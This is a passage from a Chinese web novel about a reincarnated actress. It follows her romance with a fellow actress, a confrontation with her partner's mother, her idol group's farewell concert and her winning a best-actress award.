“少见你一面就很想你啊，我的床太冰了，好想你赶紧回来，我好抱着你睡。” “好，我也很想你，我一定马上回来找你。” 通话结束的寂静里，喉间的酸涩冲破伪装。 祝星亦捏着拳头看着镜中逐渐模糊的自己，终于放声大哭。 咚的一声，重物掉落。 祝星亦揉揉眼捡起来，那是苏寄欢之前给她买的充电宝。充电宝上贴着闪烁狐星的贴纸，是苏寄欢贴的。苏寄欢还给她织了一个充电宝套，能收纳充电宝和充电器。 麓城的冷是带着倒刺的，钻进骨髓时会勾出细密的疼。隔不几日还会阴雨连绵，出门一趟，头上的白雾便会结冰。 苏寄欢怕她冷，锅里总煨着红枣姜茶。去剧组里也要带着一大壶红枣姜茶过去。 祝星亦好奇她是到哪里找到的这么大的保温杯，苏寄欢倒出一杯茶说：“真是能骗得到你，这明明是小号的茶瓶。” 苏芙说苏寄欢力气大得没地方使，谁每天上班抱着茶瓶啊。 结果祝星亦每天喝啊喝，喝得上火流鼻血，脚下也跟踩了风火轮似的，苏寄欢才放弃她带有欺骗性的小号茶瓶。 来南城前，苏寄欢往祝星亦行李箱里放了几大袋暖宝宝，放完才想起南城这时候还是大太阳，根本用不着。 苏寄欢唉声叹气地把暖宝宝拿出来，一屁股坐行李箱里说：“不然星星你带着我吧。” 祝星亦把她拉起来调侃：“苏老师，你又想让我把你分尸吗？” “不想。”苏寄欢搂住祝星亦缩到沙发上，“我想要你帮我找一样东西，让爱丽丝变小的药水，我喝了你就能把我装进去。” 祝星亦躺在她怀里抱着她的手说：“好啊，首先我要先找到兔子洞。” 室内空调发出吃力的轰鸣，祝星亦摸着充电宝上的狐头贴纸，睫毛被眼泪挂着，湿漉漉的。 又是一阵电话铃声。 她看了眼来电显示，马上接电话。她仓促地回到卧室打开电脑插上U盘，“孟律师，你好。” “你好祝小姐，很抱歉这个时候打扰你。我这边已经收到你提交的资料，但这边还有一些疑问需要你解答，这样方便我们继续跟进。” “好，你说。” 交谈过后，祝星亦问：“孟律师，到底什么时候才能……” “这件案子牵连的政府人员太多，我后续会移交我的上级处理，傅律师是金牌律师，你可以对她放心。”孟斯汀回答，“我这边只能给你估算最短的处理时间。” “多久？” “最短一年。最长……我不清楚，如果中间过程受阻，恐怕……” “我相信你们，我可以等。我也会……继续搜集证据帮助你们。” 孟斯汀叹气：“祝小姐，请保护好自己。此举艰险无比，会有性命安危，也会自毁前程。你必须先保证自己的人身安全。” 祝星亦轻笑道：“孟律师，您放心，您已经说过很多次了。放心，我会活下去，我会活着看到她们被制裁。” “这条路，我会坚定地走下去。” “我要把该属于她的东西，全都抢回来。” // 回麓城后祝星亦戴着口罩下飞机，白澜看到她眼下有些乌青，忙问怎么了。 祝星亦捏紧口罩说：“倒霉透了，昨天宴会后喝太多酒摔个狗吃屎，差点毁容。” 白澜担心问道：“摔了？怎么不跟我说啊，严重不严重？” 祝星亦摘掉口罩让白澜看了看，“一点点，先别回家，带我去医院看一看，《春风》还有几场戏要拍，别赶不上进程。” 看完医生开了药，苏寄欢正好赶到医院。 祝星亦拎着药袋子掐白澜一把：“你怎么喊她过来啊，我就一点小伤。” 白澜被掐疼了，挠挠头说：“你受伤了我肯定要告诉她啊，她迟早会知道的。” “星星！你摔了？”苏寄欢跑过来边抓着祝星亦的胳膊，摘掉口罩看着这张肿胀的脸，眉心一阵刺痛，“怎么摔成这个样子？你疼不疼？” 祝星亦要她放心，“疼，但不太严重，抹点药就好了。” “这还不严重吗？”苏寄欢都不知道说什么好了，这脸肿得吓人，都要破相了，“我跟导演说推一推你的戏份，你好好养一养。” “行。苏老师，快带我去你家，我要吃你做的牛肉饼。” 看祝星亦还惦记着牛肉饼，苏寄欢嗔怪道：“还吃牛肉饼呢，脸不恢复，什么油腻的东西都不许吃。” 祝星亦不依：“不要啊，你说要我赶紧回来吃牛肉饼的，怎么说话不算话。” 苏寄欢忽然变得严肃起来，“就不让你吃，以后走路看着点路，听到没？” “不要啊，你在虐待你女朋友。” 看祝星亦委屈的模样，苏寄欢于心不忍。自己把人馋回来了，又不让人吃，这算什么？ 苏寄欢揉揉她的头宽慰：“等你好了马上给你做，好不好？这些天你先忌嘴，忌嘴好得快些，你好了我立马给你做牛肉饼，行不行。” 祝星亦伸出手臂抱住她的腰身撒娇：“我就知道你不会虐待我，苏老师最好了。” “星星，你怎么叹气？” 祝星亦仰头笑说：“没有啊，苏老师。” / 说忌嘴就忌嘴，没几日脸就消下去了。苏寄欢做了几块牛肉饼，祝星亦赞不绝口。 她道这牛肉饼比文二路的还要好吃，苏寄欢这才露出轻松的笑。 月底《春风吹又生》终于杀青，袁兰这个角色太沉重，故事也沉重，好在有苏寄欢在，祝星亦才驾驭好这个角色。 庆功宴过后，祝星亦已经在为进《诗人》剧组做准备。苏寄欢还是有些不舍，但想着总不能一直把祝星亦揣兜里，只能祈愿拍戏顺利。 “叮——” 酒店微波炉停止运转的提示音惊醒了蜷在沙发上的人。 祝星亦揉着酸痛的脖颈，屏幕上躺着苏寄欢发来的最新消息：“明天宜城降温，说是会下雪，记得把新买的羊绒袜穿上。” 祝星亦敲字回消息：“好，苏老师也注意保暖，麓城也很冷。” 《诗人》的拍摄地点在宜城，一个北方小城。祝星亦带着白澜来这里拍摄，这两天一直在降温，拍完一场戏白澜都会赶紧给祝星亦裹上军大衣。 早上苏寄欢匆匆忙忙赶到剧组送来一个包裹，里面是她亲手做的一些菜，让祝星亦回去热热赶紧吃。 临走前又塞到祝星亦怀里一个保温杯：“你上班又不喝水，要我每次都叮嘱你吗？” 祝星亦挠挠头，她这人就是老爱忘喝水。有时候想到才会猛灌一瓶，想不到就滴水不沾。倒是苏寄欢每隔一会儿提醒她喝水，祝星亦灌完水决定封苏寄欢为[喝水定时器］爱侣版。 拿出微波炉里的菜，热乎乎冒着白气。 祝星亦夹起一块尝了尝，给苏寄欢发消息，要她安心工作，不要总是想着跑那么远看自己。 苏寄欢回了两个字[不要］，便不再理会祝星亦的劝说。 祝星亦：[苏老师，你不要耍小孩子脾气］ 祝星亦：[苏老师，你不乖哦］ 祝星亦：[苏老师～～好啦，你有空就来看我嘛］ 苏寄欢这才回复一个傲娇的[哼］表情包。 祝星亦咬着筷子神经兮兮地笑了几声，屋外响起了敲门声。 祝星亦以为是白澜过来了，忙不迭踩着毛绒拖鞋去开门。 “白澜，你来尝尝苏老师给我做的……” 话没说完，祝星亦愣愣地站着，话都说不出来了。 门外站着一身黑色套装的女人，冰冷的视线像是手术刀。 祝星亦怔怔地看了女人几眼，声音磕磕巴巴的，“苏阿姨……你怎么来了？” 苏菱默不作声地站着，看着眼前穿得和自己女儿一模一样的睡衣的女人，脸色愈渐铁青。 第112章 你女儿很疼我 祝星亦苍白着脸，踌躇许久邀苏菱进来。 “苏阿姨你来怎么不提前说一声。”祝星亦递上一杯热茶，不远处餐桌上还放着刚热好的菜，盘子还是苏寄欢家里的。 苏菱的视线从青瓷杯上落到祝星亦身上，她没有过多迂回，手里的方包放在腿上，“你和寄欢在一起多久了。” 人来就是为了兴师问罪，祝星亦没有选择隐瞒，端坐在苏菱对面回答：“再过两个月就一年了。” 茶盏落在桌上，发出清越的声响。 苏菱没吭声，静静地看向窗外。 窗外是宜城的冬。 宜城到底是北方的城市，和麓城这种沿海城市的冷还是不一样的，苏寄欢来回两个城市跑，到了下雪天湿滑，万一路上出了什么好歹…… “《孤独诗人》是晏氏的戏，如果我要你离开剧组，要你以后再也不要和晏氏有牵扯，你愿意吗？”苏菱漠声道。 祝星亦预料到有朝一日苏菱会这样说，她知道太多人要劝她远离晏氏。 晏氏是什么角色？强权强势，蛮横霸道，苏家不可饶恕的敌人。 祝星亦垂头饮了口茶，洞庭碧螺春，自苏寄欢送她这款茶，她便一直喝。 实际上她喝不出茶的好歹，只因那是和苏寄欢不欢而散的初遇后，两人再见面时所收到的第一份礼物。 苏寄欢总是会送她很多礼物，刚认识的时候喜欢送，一根簪子，一顿早餐，一套盲盒，一个祈福挂件，一袋糖炒栗子，一份小点心。 在一起后苏寄欢还是会送给她很多大大小小的东西，大到她不敢收，小到她都不知道该放在哪里展示。 有一天她问苏寄欢，她说：“苏老师，你怎么喜欢送我礼物啊，我不需要那些东西，你怎么还是喜欢送。” 苏寄欢捏捏她的手腕说：“因为我想给你打猎呀，每次见你给你小礼物，就好像我出门一趟打到了猎物，把猎物带给我的小狐狸，小狐狸不开心吗？” 她嚷嚷着苏寄欢把她惯坏了，苏寄欢笑吟吟地说想永远惯着她。 祝星亦嘴角牵起不自然的笑意，她耸了耸肩，摇头说：“抱歉，苏阿姨，我不能拿我的前程开玩笑。” 砰—— 苏菱的掌拍在桌面上，桌面发出一阵震天的响，瓷杯几乎要飞出来。 杯口边缘的水珠坠落，祝星亦沉静地坐着，没有再说话。 苏菱很显然已经无法再装作冷静：“祝星亦，她为了你拿自己的前程开玩笑，你竟然连和苏家的仇人保持距离都不懂！你还有什么资格站在她身边！” “她为我所做的一切，是她的选择。”祝星亦恍恍惚惚许久，终于听到自己用最冰冷生硬的声音说话，她紧紧攥着衣服，看着苏菱的眼睛说出最违心的语言：“而我做的一切，是我的选择。我凭什么要为了她，放弃我的未来？” 话音刚落，杯中的热茶泼在祝星亦脸上。 苏菱的玉镯子磕在桌面上发出清脆的声响，她咬牙望着眼前一脸不屑还十分高傲的女人怒道：“我女儿风华正茂，事业有成，从你籍籍无名，扶你到名利双收。她把自己所有的筹码拿出来邀你演戏，为你撕番位，给你找代言。[苏盛］影视工作室未来所有影视的女主角，都是为你而留，她所有能抢到的剧本的女主角也是为你而留。她从认识你之后，不顾所有人的反对不断做出违背她道德、尊严、底线的事，你倒好，你所做的选择是为了你的未来？祝星亦，动物还知道反哺，现在要你和她的仇家保持距离你都不愿意！” 茶汤顺着祝星亦睫毛往下淌，在睡衣前襟洇出深色痕迹。她揩了下脸上的茶渍，微笑着开口：“苏阿姨，千金难买她愿意。您若是不想要她和我在一起，那您去劝她和我分手。但我想，等她知道您找我兴师问罪，还泼我一脸茶水，她会很生气的。” 祝星亦倾身低声笑笑：“要知道，您的宝贝乖女儿最心疼我了。就连在床上，她都舍不得我动手。” “闭嘴！”苏菱拍着桌子站起来，她凝视着眼前的女人，无法将这样冷漠的祝星亦和当初见到的拘谨乖巧的祝星亦重叠。 一个人真的会变得和从前两模两样吗？还是说……这个女人，向来如此？ 苏菱不想再多想，她留在这里一分钟，都会为自己的女儿悲哀一分钟。 她抓起包向门口走去，皮靴跟在地板上敲出冰锥般的脆响。在拧开门把手的瞬间，她偏过头冷笑：“祝星亦，你这个忘恩负义、贪婪成性、自私自利、狼心狗肺的吸血鬼，你会遭到报应，你会死得比谁都惨。” 房门重重砸上门框时，祝星亦这才发现自己在发抖。 她死死攥住自己毛绒绒的睡衣，胸口上有狐狸图案，这是苏寄欢给她买的。 苏寄欢买了两套睡衣，一套给了她，一套自己留着穿。 苏寄欢总爱买成双成对的东西，有时表面上必须避嫌，她也会找些相同元素的凑一对。 祝星亦转身去吃那盘菜，夹到嘴里发现菜已经凉了。本想继续吃下去，想到苏寄欢不让她吃冷掉的饭菜，马上起身去热了热。 宜城降下大雪的那天，祝星亦拍完雪地的戏后，白澜照常给她裹上军大衣带她去喝热水。 工作人员过来喊她，说有人找。 祝星亦嘬了口热水慢悠悠起身，等来到棚子外面，看到一个身穿深灰色呢子大衣的女人朝她跑来。 苏寄欢穿过簌簌的落雪来到她面前，冰凉的手握住她温热的手，一脸歉意道：“星星对不起，我不知道我妈会来找你。我知道她肯定说很难听的话了，对不起，真的很对不起。对不起，我没能瞒住，我给你添麻烦了，对不起。” 雪片落在苏寄欢发上，祝星亦伸手为她拂去发间的雪，指尖掠过对方冰凉耳垂时微微蜷缩。 她垂眸盯着苏寄欢裹在脖子里的围巾，这条围巾还是当初苏寄欢自己织的那条粗糙的同款围巾。 祝星亦给苏寄欢打了另一条精致的狐星围巾，苏寄欢偏要存着不戴，还拿着粗糙的围巾说这是两个人第一个情侣款，她必须一直戴着。 苏寄欢的呼吸在冷空气中凝成白雾：“星星，真的很抱歉，我最近工作太忙没有顾上这些事，今天也是匆匆赶来，等下还要快点赶回去。我希望你不要听我妈的话，我会处理好我妈那边的事，你等等我好吗？” 她握住祝星亦冻红的手腕，大衣袖口滑出叠戴的金玉镯子，“真的很对不起，让你受委屈了。对不起。” 祝星亦捏了捏她的手轻笑了两声说：“没事，没必要跟我道歉。反正总有暴露的那天，你先回去处理工作，我还要拍戏。” 白澜喊祝星亦快点回来，马上要开拍了。 祝星亦转头应了声好，拍拍苏寄欢的胳膊说：“苏老师，你快些回去，这件事以后再说，你路上注意安全。” 她转头踩过积雪，手腕忽然被苏寄欢拽住。 祝星亦回头，绵绵的风雪里，令人致盲的光在苏寄欢鼻梁上投下银线。 她看到苏寄欢轻颤的长睫上落了一小片雪花，雪地晶莹闪亮，本就清冷孤高的女人更像一场浓密绵长的梦。 “苏老师，怎么了？”祝星亦感受到对方的指尖在发抖。 苏寄欢似笑非笑地望着祝星亦，眼中浮露出悲悯，她咬着唇静静望了祝星亦许久，最后颤着声音说：“星星，你不会和我分手的，对吧？” 凛冽的柚子花香混着雪地的冷气扑面而来，祝星亦怔了片刻，摇摇头：“不会分手的，苏老师，你不要多想，回去注意安全。” 等那抹灰色的身影消失在大雪里，祝星亦摸摸口袋里的暖宝宝。这些暖宝宝还是苏寄欢给她装的，苏寄欢笑着说，还是用上了，总算没有白买。 是啊，总算用上了，下了这场雪，再过不久就是春天。 春天啊。 春天。 Shinyfive也该解散了。 当晚收工时暴雪已积了半尺深，祝星亦裹着苏寄欢送的羊毛毯窝在沙发上看剧本时，手机在沙发上震动起来。 “大星！你知不知道苏小姐在回麓城的高速上追尾了！”齐漫姝焦急地跟祝星亦说，“你快点打电话问一问！” 剧本啪的一声掉在地面，祝星亦手忙脚乱地拨通苏芙的电话。很快，电话接通，苏芙安慰道：“星星啊，别着急，鸭头没事，人还好好的，就是身上有点伤，我打个视频电话给你哈。” 视频接通瞬间，祝星亦的指甲掐进掌心。屏幕里苏寄欢额角纱布洇着血渍，却笑着晃了晃缠着绷带的手：“星星，别担心，没事儿，看，像不像你去年包的粽子？把馅儿放笋叶里，六片笋叶才把那一点点馅包住，哈哈哈哈哈哈。” 看苏寄欢一点都不在意的样子，祝星亦的呼吸骤然急促，手背青筋在冷白皮肤下起伏。 屏幕冷光映得她瞳孔微颤，她咬着字句开口：“都这个时候了你还在笑，不是说了让你路上注意安全吗？怎么又搞成这个样子？” “星星。”苏寄欢突然凑近镜头，鼻尖几乎碰到屏幕，“你生我气了吗？” 她苍白的唇色被顶灯照得近乎透明，“对不起啊，我这么大个人了还那么粗心，还要害得你担心。” 窗外的风雪呼啸而过，祝星亦攥着手里的毛毯叹息：“等我请假回去一趟。” 苏寄欢忙劝道：“别，你拍戏要紧，别回来了。宜城雪那么大，麓城也下雪了，你路上要是出个好歹可该怎么办。我这又不碍事，别管我了，天气好了有空了你再回来，好吗？” 拌了几句嘴，祝星亦只好答应有空再回去看看。 但她没想到这一忙就忙到Shinyfive开解散演唱会她才有空回去。 能回来也不容易，剧组一直不放人，等她到后台的时候，台上的四人已经说完解散感言。 说完解散感言，这场演唱会就要在出道曲《Shinyfive》里落下帷幕。 祝星亦庆幸自己赶上了，她慌慌张张登台，台下爆发尖锐的叫喊声。 现在的祝星亦和三年前已经完全不一样，曾经的十八线爱豆，现在就差一些演艺大奖，就能跻身一线艺人。 “星星！太惊喜了！你居然会来！”队员们没想到祝星亦会有时间过来*，“我们还没唱歌，幸好你来了，不然赶不上了。” “星星！我半年没见到你了，你怎么又瘦了啊！” “呜呜呜星星姐，原来你真的会来，我以为只能我们四个人开解散演唱会呢。” 祝星亦拍拍她们的肩，“别哭啊，都高高兴兴的。” 现在的祝星亦通告繁忙，除了进组就是进组，根本没时间再表演。Shinyfive的舞台表演基本变成了四个人，实力最强的已经成功转型演员，演了许许多多的热播剧，高奢代言不断，身价颇高。 “今天是我们团的最后一天，虽然团解散了，但我们永远是Shinyfive。”望着眼含泪花的队友，祝星亦动情地拥住四人。 解散演唱会是祝星亦让容羽珍办的，容羽珍现在很给祝星亦面子，说办就办，一点都不含糊。 祝星亦抱紧四人，眼角泛着泪花。 这一世没有像前世那般惨淡，不会有人骂是她害得Shinyfive提前解散，她也不会在夜深人静时抱着五人的合照流泪。 她真的给Shinyfive争取到了风风光光的解散演唱会，也争取了更好的明天。 即便团解散了，她们也有通告和不错的工作，隔三岔五都会有舞台。 她给了队友们最美好的结局。 林笍佳擦干眼泪攥紧拳头说：“对！解散了也没关系，我们永远是Shinyfive！星星，快，该你说解散感言了。” 祝星亦握着话筒思索许久发表获奖感言。 她说，这三年就像一个梦。 她说，感谢成全这场梦的人。 她说，谢谢你们陪Shinyfive走到最后。 最后，她拿起话筒转身对台下的观众喊：“接下来，是本场演唱会最后一首音乐，也是Shinyfive成团的第一首歌《Shinyfive！！》，梦想的颜色——” 祝星亦将话筒指向观众。 观众异口同声喊：“shinyshiny！！” 音乐声响起，升降台也开始启动。 耳返里传来导播的倒计时，祝星亦握紧她定制的麦克风。聚光灯刺破黑暗的刹那，她恍惚看见重生那天睁开眼看到的景象。 台下观众的声浪几乎掀翻天空，荧光应援棒织成流动的银河，随着《Shinyfive！！》的副歌节奏剧烈震颤。祝星亦在升降台上仰起脸，任由幻色的光掠过眸子。 【Shoutmynameinmyfield Shinemorethanthesun Lookmestraightintheeye Listen，WeareShinyfive！】 最后一个音符落下，漫天的彩花飞舞，无数道光芒交织在一起，像转瞬即逝的绚烂。 Shinyfive于三年前的今日成团，又于今日完美解散。 祝星亦握着话筒站在舞台上，她抬手接下一片彩花，想起重生那天也是这样，漫天彩花，喧哗声声。 演唱会的直播因祝星亦的到来而飙升观看人数，导播将镜头对准她的脸，她立刻露出十分标准的微笑。 她听着比三年前还要震耳欲聋的欢呼声，想到这又是一个春天。 她死在麓城的春天，又在麓城的春天重生。 三年前，刚重生的她立志要一步步爬上去。 而现在，她已经爬到一个高高的位置。 她从十八线小爱豆，走到了商业价值极高的爆火小花，高奢不断，片约不断，奖项颇多，同期艺人，无人能及。 从籍籍无名，到光芒万丈。 算下来，她已经实现了重生后的心愿。 她想要的成功已经拿到了，现在，没有遗憾。 但她的路还没有走完。 她揣着彩带对虚空微笑，最后在灯光暗下时离开舞台。 匆匆去看望苏寄欢后，祝星亦又赶回剧组继续拍摄。 一拍多日，杀青那天参加完杀青宴，晏璟霖带她去参加另一个宴会，并给她引荐了行业大腕江小姐。 祝星亦先前拍的《夏影》已经送选国外罗兰电影艺术节长片竞赛单元，目前拿到了提名奖。 行业预测祝星亦可能拿不到奖，但是片子能提名罗兰电影节最佳长片奖已是至高无上的荣誉。 国人近十年只有两位艺人在罗兰电影艺术节拿过奖，一位获得最佳女主角，一位获得最佳女配角。入围的国产片子都寥寥无几，祝星亦又是新人，导演更是第一次拍长片，提名最佳已实属不易。 祝星亦也对拿最佳女主角不抱什么希望。 刚拍完的《孤独诗人》倒是能冲一冲。 “听说你六月份毕业。”江小姐的银灰的眼妆在觥筹交错间微微闪烁，她打量着眼前的祝星亦，年轻的女星五官明艳，气质也很好。 祝星亦从容地点头：“对。” “才22岁，真是年轻有为。”江小姐感叹。 祝星亦抿了口红酒，“承蒙晏总栽培，没有她，就没有我的今日，她是我的贵人。” 待江小姐走后，晏璟霖忽然用杯口轻叩祝星亦的翡翠耳坠：“现在你不觉得苏寄欢是你人生的最重要的人了？当初《寄明月》获奖时，你说，苏寄欢是你的贵人，是你人生中最重要的人，是你最敬爱、珍惜的人。” 第113章 前世杀了她的，从来都是—— 祝星亦轻轻避开晏璟霖抚弄自己耳坠的指笑道：“今时不同往日，现在晏总才是我的东风。至于苏寄欢，她早就该沉到故纸堆了。” “我庆幸你学会了看风向标，不错，是个进步。”晏璟霖满意地挑起眉毛与她碰杯：“你什么时候和苏寄欢分手？我可以找律师帮你代理分手协议。” 她睨着安静喝酒的祝星亦继续说：“等你和她分手后和瑾年在一起，此后成为晏氏的家人，我作为瑾年的姐姐，自然不会亏待你这个妹妻。” 妹妻？ 这个称呼未免也太招笑了。 祝星亦压住喉中的笑意道：“总要给彼此留些体面，我目前没空处理这件事，等有空了你再帮我请律师。下个月我要去罗兰电影艺术节，晏总有空来吗？” 晏璟霖轻哼：“你这个电影能获提名还真是不简单，苏寄欢倒是会押宝，她是为了你才投资和招揽联合出品方的？” 祝星亦摇头道：“那时我和她还没在一起，兴许是她觉得剧本不错。” 晏璟霖饮了口酒，觉得祝星亦说得不无道理。 苏寄欢选本眼光毒辣得很，称她是点金圣手都不为过。 《寄明月》这个被弃如敝履的剧本都能创造那么大的收益，投资和出品的《夏影》是无人问津的导演拍的，居然能获得罗兰电影节的提名，更不要说其他的好剧本了。 还有祝星亦这个女人。 一个选秀综艺出来的女爱豆，在苏寄欢的培养下竟然马上就要拿到影后的桂冠，真是不简单。 苏寄欢…… 这个脊背永远挺得直直的女人，是一头不肯向晏氏臣服的孤狼。 晏璟霖带祝星亦去别处与人交谈，她盯着对社交游刃有余的祝星亦，又想到没能归顺过来的苏寄欢，不免觉得可惜得很。 可是她也知道，让撕咬晏氏版图的孤狼死在寒雪之中，才是最好的结局。 一个月后，《夏影》团队和主演来到罗兰电影艺术节。 祝星亦望着红毯尽头的女神像，金色的女神左手捧火焰，右手持利剑，剑指苍天。 她提起裙子踩了下红毯，又赶忙收回脚。 虽然是带着女主角提名来的，但这是她第一次来国外电影节评选，心里不太踏实。来来往往都是些外国人，新鲜是新鲜，但紧张也是真紧张。 苏寄欢却很轻松地应对这种场合，她在国外拍戏多年，认识她的外国人多，一进场便有许多镜头对准她。 柚子花香袭来，苏寄欢把祝星亦往自己身边揽了揽，配合附近的记者媒体拍照。 不一会儿，出现在记者镜头里的都是两人的同框照。 上一个团队走了过去，身穿西装套装的工作人员喊《夏影》团队开始走红毯。 “走，我拉着你，别害怕。”苏寄欢挽住祝星亦的手，“我们走走停停配合拍照，走过台阶到上面，第三盏灯后就不用配合了，直接入场就好。” 祝星亦点头：“好。” 踏上红毯，镜头海啸般涌来的刹那，苏寄欢带着她旋进光瀑中央，金色耳坠在镁光灯下划出亮光。 走红毯时，路露的腿都要抖成筛子了，彭梦要她有点出息：“你是带着作品来的，还是带着提名奖来的，你怕个锤子。” “我……我不怕……我好着呢。”路露抹了抹额头上的汗。 “好着呢你抖个什么？” “马上就不抖了。”路露被彭梦挽着继续向前走。 路露抬眸看远方的女神像，觉得罗兰女神的光比红酒更能让她眩晕。 年轻导演带着团队走红毯，这是她做梦都不敢想的光景。 她忽然觉得勇敢尝试新的东西是一个极其正确的决定，短片积累的经验做长片，被优秀演员看中剧本，又被[苏盛］老板投资支持。 先前总有同行劝她不要轻易拍长片，没什么人脉资源还拍，拍出来也是血亏。 幸好没听同行的话。 彭梦的剧本被祝星亦看到了，自己的团队被苏寄欢看到了。 荣获提名的那一瞬间，就证明她的坚持是对的。 只要坚持发光，就一定会被看到。 走过长长的红毯后落座，祝星亦和女二谈之语合照后拿给苏寄欢看。 苏寄欢赶忙点开相机与祝星亦合拍几张。 “苏老师，晚点是不是还有宴会？”祝星亦边查看合拍的照片边问。 苏寄欢点头道：“对，还有个晚宴。” 祝星亦想着晚餐有着落了，整个人轻松不少。 评选罗兰奖最佳长片时，《夏影》团队心提到嗓子眼。结果毫不意外，另一部优秀长片《冬天的呼唤》夺得最佳长片奖。 祝星亦前段时间观赏了这部影片，是一部非常优质的文艺片，有深度，还很轻松，画面也很好。 虽然《夏影》没有拿到奖，但她很为拿奖的片子感到开心。 之后是一些音乐、服化的奖，等轮到演员的奖项时，祝星亦已经有些困了。 镜头对准被提名的她时她才坐直身子，省得被捕捉到不雅的一面。 直到她从台上外国嘉宾口中听到自己的名字，昏昏欲睡的她终于清醒。 “Thebestactressoftheyear，《Thereflectionofsummer》ZhuXingyi！” 名字穿透颁奖厅的一瞬间，台下的人纷纷朝祝星亦的方向看去，他们好奇哪个中国人是祝星亦。 颁奖嘉宾鼓掌欢迎祝星亦上台领奖，片刻后，台下爆发雷鸣的掌声。 路露整个人从椅子上跳下来，“星亦是你啊！！是你啊！我去！封后了！祝影后啊啊啊啊啊！” “星星！”苏寄欢站起来拥抱住还在呆愣的祝星亦，“星星！你是最佳女主角啊！是你啊！” 罗兰电影艺术节的最佳女主角，是她？ 祝星亦被团队的人簇拥着，耳畔是连绵不绝的欢呼声。 她看着大屏里自己的脸有一瞬间失神。 她亲自选的剧本，由不是很成熟的新团队制作，苏寄欢投资出品，让她封后了。 “真的是我？”祝星亦望着流出两行清泪的苏寄欢喃喃，“是我吗？是……我的奖杯？我的荣誉？不借任何外力，干干净净的奖？” 她不断问着，似乎想证明什么，而苏寄欢耐心地回答她。 “是啊！是你啊！”苏寄欢推着她往颁奖台那处走，“快，快去领奖，这是你不知道第多少个奖杯，但是是你迄今为止含金量最大、荣誉最大的奖。我都没有拿到过这个奖！” 祝星亦抓着苏寄欢的手腕还在失神地说：“苏老师，真的是我啊？我拿到了这么高的荣誉？我获得了官方公平公正的肯定？” 路露抹抹眼泪说：“是啊是啊！星亦你快去领奖吧！” 祝星亦紧紧攥着苏寄欢的手垂下眼泪，“我没有遗憾了，直到现在，我才能说一句我没有遗憾了。苏老师，你……你一定要帮我记住这个奖，好吗？” “好好，我肯定帮你记着，这可是让你封后的奖，我肯定一直帮你记着。”苏寄欢抹抹眼泪推着她说：“好了，不说了，你快去领奖。” 祝星亦擦擦眼泪站上领奖台，奖杯底座镌刻的拉丁文蹭过她仍在颤抖的指尖。她极其官方地表达感谢，感谢导演编剧，感谢制作组，感谢苏寄欢，感谢评委老师。 说到最后，她眼泪又止不住了。 那不是开心的眼泪，倒像悲伤的眼泪。 祝星亦踩着台阶回到座位，苏寄欢起身为她擦眼泪，“你该高兴才是，你怎么哭得这么难过？” “没有啊苏老师。”祝星亦摇摇头说，“我很开心，我太开心了。” 她抱住苏寄欢，感受从苏寄欢身上传来的温暖，又不断地叫着苏老师，苏老师。 同一时间，祝星亦获奖的微博热搜霸屏。 #祝星亦封后# #祝星亦罗兰奖# #祝星亦罗兰电影艺术节最佳女主角# #祝星亦什么叫天赋# #祝星亦新晋一线影后# [劁！罗兰奖！国内近十年也只有一个演员拿过最佳女主角啊！祝星亦也太厉害了吧！] [果然还是得拍文艺片啊，祝星亦是不是还有几个奔着拿奖的片子啊？她肯定有贵人相助，不然怎么会走这条路，走这条路除了得奖就是得奖啊］ [当初看《青春理论》时我就觉得她不简单，现在果然没看错她，她下个月才大学毕业，年纪轻轻要什么有什么，她真的完全没烦恼了］ [当初说星星配不上苏寄欢的苏毒唯站出来，如今双影后摆在你们面前，你们还有什么好说的？］ [cp粉能不能死一死，这是星崽单人场，提什么苏寄欢！星崽独美！星影后独美！］ [打扰一下，这部片子可是我姐投资的，说是我姐助她封后也不为过吧？凭什么不能提？］ [路导不是说了当初融资困难，是苏苏主动投资才做好前期工作，你们星粉怎么还想赖账啊？没有苏苏，这部片子能拍出来吗］ [说得跟sjh白投资似的，片子拿奖她没有拿到好处？她不是在搞什么影视工作室？片子提名演员拿奖，她招商也会更顺吧］ [你苏没拿到的奖，我星拿到了，苏家粉丝不如管管你家影后，你家影后这两年也就拍了个《春风吹又生》，还是跟我们星宝一起拍的，人不火了就蹭我们星宝是吧？我们星宝很忙的，片约多奖项也多，就别缠着我家星宝了］ [苏寄欢就别硬蹭了，有时间蹭还不如搞好自己的影视工作室，听说运行得不是很顺利，正好我们的小福星拿奖了，给你苏涨涨人气，这也算是扯平了，以后不要蹭星星了，我们星星有更好的未来］ [请各位关注星星个人吧，近期热播《告白情书》，请支持我们的影后星宝。］ 祝星亦回国后立马奔赴国内知电影节名昶镇电影节评选奖项并在国内首映，没有意外，她又靠《夏影》拿下了最佳女主角。《夏影》还拿到了昶镇电影节的最佳长片奖，路露抱着奖杯哭得不得了。 昶镇电影节是国内相当专业的电影展，有很高的学术意义，还是一个推动青年导演发展的国际电影节，路露自此一战成名。 不少网友期待《夏影》快点公映，他们非得尝尝咸淡。 而从罗兰奖封后和昶镇电影节收获颇丰之后，《夏影》和祝星亦继续横扫几个电影节的奖项，最终提前了《夏影》国内公映时间——暑期档。 行业预测这部电影票房可能不会太高，但这部片子绝对会再拿几个奖。 毕竟都在罗兰电影节拿到了提名，以及在昶镇电影节斩获最佳长片奖，不多拿其他几个奖项，有点说不过去。 靠《夏影》拿奖拿到手软之后，祝星亦一直忙着各种应酬活动，忙碌得差点错过毕业典礼。 “连续封后的人，在拨穗仪式上也一定是最耀眼的毕业生。”苏寄欢把怀里的花束送到祝星亦手里，“我也来参加你的毕业典礼了，亲爱的祝星亦同学，毕业快乐。” 香樟树叶筛落的阳光在红毯上跳跃，祝星亦捧着花轻笑：“谢谢你，苏老师，你真守信用。” 两人笑闹着拍了许多照片，苏寄欢手机屏幕突然被通话占满。 工作室太忙，苏寄欢出来一趟都是挤出来的时间。 电话催得紧，她只好匆匆与祝星亦告别。 参加完拨穗仪式，刚走出大礼堂，晏璟霖抱着花过来。 “毕业快乐。”晏璟霖把花塞给她。 祝星亦已经抱不下那些花，今天收的花够放满一辆半挂了。 “谢谢。”祝星亦紧紧抓着花道谢。 晏璟霖随她走出去，“有想要的礼物吗？我跟你承诺过，我会送你一件毕业礼物。” “等我想好了，我会问你要。”祝星亦侧头说，“晏总可以等吗？” 晏璟霖扶了扶镜框，偏头勾起嘴角：“当然。” “晏总。”一个西装革履的女人跑过来。 祝星亦抬眸，原本洋溢着毕业喜悦的双眸瞬间被一层寒霜覆盖。她握紧双手，后槽牙咬得发酸，垂在身侧的指尖掐进掌心，血腥气混着前世记忆翻涌上来。 从高楼坠落的剧痛，四肢扭曲的她浑身是血，像盛开在雪地的红山茶。 段以溶，段以溶。 